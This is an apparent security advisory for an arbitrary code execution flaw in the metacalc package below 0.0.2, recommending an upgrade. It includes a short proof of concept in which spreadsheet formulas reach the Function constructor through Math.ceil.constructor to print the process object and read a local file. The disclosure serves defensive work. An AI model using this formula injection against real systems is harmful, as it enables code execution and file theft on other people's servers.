Arbitrary Code Execution Affecting metacalc package, versions <0.0.2


0.0
critical
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Scope

    Changed

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JS-METACALC-2826197

  • published

    30 May 2022

  • disclosed

    17 May 2022

  • credit

    Vladyslav Dukhin

How to fix?

Upgrade metacalc to version 0.0.2 or higher.

Overview

metacalc is a Spreadsheet calculations for Metarhia

Affected versions of this package are vulnerable to Arbitrary Code Execution when it exposes JavaScript's Math class to the v8 context. As the Math class is exposed to user-land, it can be used to get access to JavaScript's Function constructor.

PoC

const { Sheet } = require('metacalc');

const sheet = new Sheet();

sheet.cells['A1'] = '=Math.ceil.constructor("console.log(process)")()';
console.log(sheet.values['A1']);

sheet.cells['A3'] = '=Math.ceil.constructor("console.log(process.mainModule.require(\'fs\').readFileSync(\'./poc.js\', \'utf-8\'))")()';
console.log(sheet.values['A3']);